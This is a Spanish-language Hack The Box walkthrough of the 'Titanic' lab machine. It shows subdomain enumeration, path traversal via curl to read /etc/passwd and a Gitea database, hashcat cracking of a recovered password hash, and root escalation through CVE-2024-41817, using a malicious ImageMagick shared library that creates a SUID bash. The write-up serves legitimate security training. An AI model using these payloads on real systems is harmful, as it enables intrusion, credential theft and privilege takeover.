Descripción️
Titanic es una máquina fácil de Hack The Box que cuenta con la siguientes vulnerabilidades:
- Enumeración de subdominios para encontrar una instancia de Gitea con código fuente de una aplicación web
- Vulnerabilidad de cruce de directorios en aplicación de trickets de viaje permitiendo la recuperación de una base de datos con credenciales cifradas
- Recuperación de un hash y reutilización de contraseñas de un usuario de Linux
- Elevación de privilegios mediante ejecución arbitraria de código en un script de ImageMagick ejecutado como usuario root
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.46.214.
$ ping -c 3 10.129.46.214
PING 10.129.46.214 (10.129.46.214) 56(84) bytes of data.
64 bytes from 10.129.46.214: icmp_seq=1 ttl=63 time=46.3 ms
64 bytes from 10.129.46.214: icmp_seq=2 ttl=63 time=51.0 ms
64 bytes from 10.129.46.214: icmp_seq=3 ttl=63 time=46.7 ms
--- 10.129.46.214 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.253/47.987/50.986/2.129 ms
La máquina está activa y con el TTL que equivale a 63 (64 menos 1 salto) podemos asegurar que es una máquina de Unix. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.46.214 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.46.214
Host is up (0.043s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Obtenemos dos puertos abiertos, 22 y 80.️
Enumeración️
Luego realizamos un escaneo más avanzado, con la versión de los servicios y scripts.️
$ nmap 10.129.46.214 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.46.214
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.53 seconds
Obtenemos el servicio SSH y el servicio HTTP titanic.htb. Agregamos el host a nuestro archivo local /etc/hosts.️
$ echo "10.129.46.214 titanic.htb" | sudo tee -a /etc/hosts
Explorando el servicio HTTP, encontramos una aplicación web utilizada para reservar entradas de un viaje en barco.️
Cuando ingresamos los datos para la reserva recibimos un archivo JSON con información sobre la reserva. Enumerando las subdominios encontramos uno, dev.titanic.htb, lo agregamos al archivo /etc/hosts.️
$ gobuster vhost -u titanic.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://titanic.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.titanic.htb Status: 200 [Size: 13982]
Progress: 19966 / 19967 (99.99%)
===============================================================
Finished
===============================================================
$ echo "10.129.46.214 dev.titanic.htb" | sudo tee -a /etc/hosts
10.129.46.214 dev.titanic.htb
Cuando ingresamos al subdominio dev, encontramos una instancia de Gitea con dos repositorios: docker-config y flask-app. En el repositorio docker-config encontramos la configuración del archivo docker-compose.yml de Gitea.️
version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
La carpeta de datos de Gitea en la máquina anfitriona es /home/developer/gitea/data que se mapea a la carpeta /data en el contenedor. Al examinar el repositorio flask-app, encontramos el código fuente de la aplicación web Titanic en el archivo app.py. Observamos función download_ticket y la ruta /download.️
...
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404
...
La aplicación web está recuperando el archivo de ticket JSON desde el sistema de archivos. No se realiza ningún filtro, por lo que la aplicación web es vulnerable a la vulnerabilidad de cruce de directorios.️
Explotación️
Cualquier archivo pasado con el parámetro ticket se puede recuperar, como /etc/passwd.️
$ curl --path-as-is 'http://titanic.htb/download?ticket=../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
Encontramos que podemos recuperar la base de datos de Gitea desde el archivo /home/developer/gitea/data/gitea/gitea.db. Después de filtrarla, podemos explorar sus contenidos ya que es una base de datos SQLite.️
$ curl --path-as-is 'http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/gitea.db' -o gitea.db
Podemos obtener el tipo de hash, el salt y el hash del usuario emily y tratar de recuperar la contraseña. Tenemos que obtener las columnas passwd_hash_algo, salt y passwd de la tabla user.
$ sqlite3 gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> select passwd_hash_algo,salt,passwd from user where name = 'developer';
pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
El hash se ha creado usando el algoritmo PBKDF2-HMAC-SHA256 con 50000 rondas. Vamos a recuperar la contraseña con la herramienta Hashcat pero necesitamos convertir el hash a un formato específico, sha256:<rounds>:<base64_salt>:<base64_hash>. Debemos tener en cuenta que debemos convertir el hash hexadecimal a uno binario y luego codificarlo utilizando Base64. En este caso sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=. El tipo de hash es 10900️.
$ hashcat -a 0 -m 10900 hashes /usr/share/wordlists/rockyou.txt
...
Session..........: hashcat
Status...........: Running
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqc...lM+1Y=
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1347 H/s (6.22ms) @ Accel:512 Loops:64 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 0/14344385 (0.00%)
Rejected.........: 0/0 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:35072-35136
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> whitetiger
Hardware.Mon.#1..: Util: 84%
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
Encontramos la contraseña para el usuario de Gitea developer, 25282528. Se reutiliza para el usuario del máquina de Linux, por lo que podemos iniciar sesión utilizando SSH.️
$ ssh developer@titanic.htb
...
developer@titanic:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
Post-Explotación️
Explorando los archivos del máquina encontramos un script no estándar /opt/scripts/identify_images.sh y un archivo de registro en /opt/app/static/assets/images/metadata.log. Tenemos permisos de escritura en la carpeta /opt/app/static/assets/images (permisos de grupo).️
developer@titanic:~$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
developer@titanic:~$ cat /opt/app/static/assets/images/metadata.log
/opt/app/static/assets/images/luxury-cabins.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280817B 0.000u 0:00.005
/opt/app/static/assets/images/entertainment.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 291864B 0.000u 0:00.000
/opt/app/static/assets/images/home.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B 0.000u 0:00.000
/opt/app/static/assets/images/exquisite-dining.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280854B 0.000u 0:00.000
developer@titanic:~$ ls -l /opt/app/static/assets/
total 4
drwxrwx--- 2 root developer 4096 Feb 3 17:13 images
Encontramos que el script está moviéndose a la ruta /opt/app/static/assets/images, está obteniendo todos los archivos JPG y está analizando cada archivo con la herramienta ImageMagick, guardando el resultado en el archivo /opt/app/static/assets/images/metadata.log. La versión instalada de ImageMagick es 7.1.1-35.️
developer@titanic:~$ magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
Esta versión es vulnerable a ejecución de código arbitrario. La versión de AppImage ImageMagick podría utilizar una ruta vacía al establecer las variables de entorno LD_LIBRARY_PATH mientras se ejecuta, lo que podría llevar a la ejecución de código arbitrario cargando bibliotecas compartidas maliciosas en el directorio de trabajo actual mientras se ejecuta ImageMagick, CVE-2024-41817. En la descripción de la vulnerabilidad, encontramos que podemos crear la biblioteca maliciosa libxcb.so.1. Dado que tenemos permisos para escribir en el directorio, vamos a crear la biblioteca maliciosa que va a crear un ejecutable Bash SUID en el directorio /tmp.️
developer@titanic:~$ cd /opt/app/static/assets/images
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /bin/bash /tmp/suid-bash");
system("chmod u+s /tmp/suid-bash");
exit(0);
}
EOF
Después de unos pocos segundos, se ejecuta el script y se crea la binaria.️
developer@titanic:/opt/app/static/assets/images$ ls -l /tmp/suid-bash
-rwsr-xr-x 1 root root 1396520 /tmp/suid-bash
Podemos crear una sesión de Bash con privilegios.️
developer@titanic:/opt/app/static/assets/images$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer)
Flags
En la consola de root encontramos las flags user.txt y root.txt.️
suid-bash-5.1# cat /home/developer/user.txt
<REDACTED>
suid-bash-5.1# cat /root/root.txt
<REDACTED>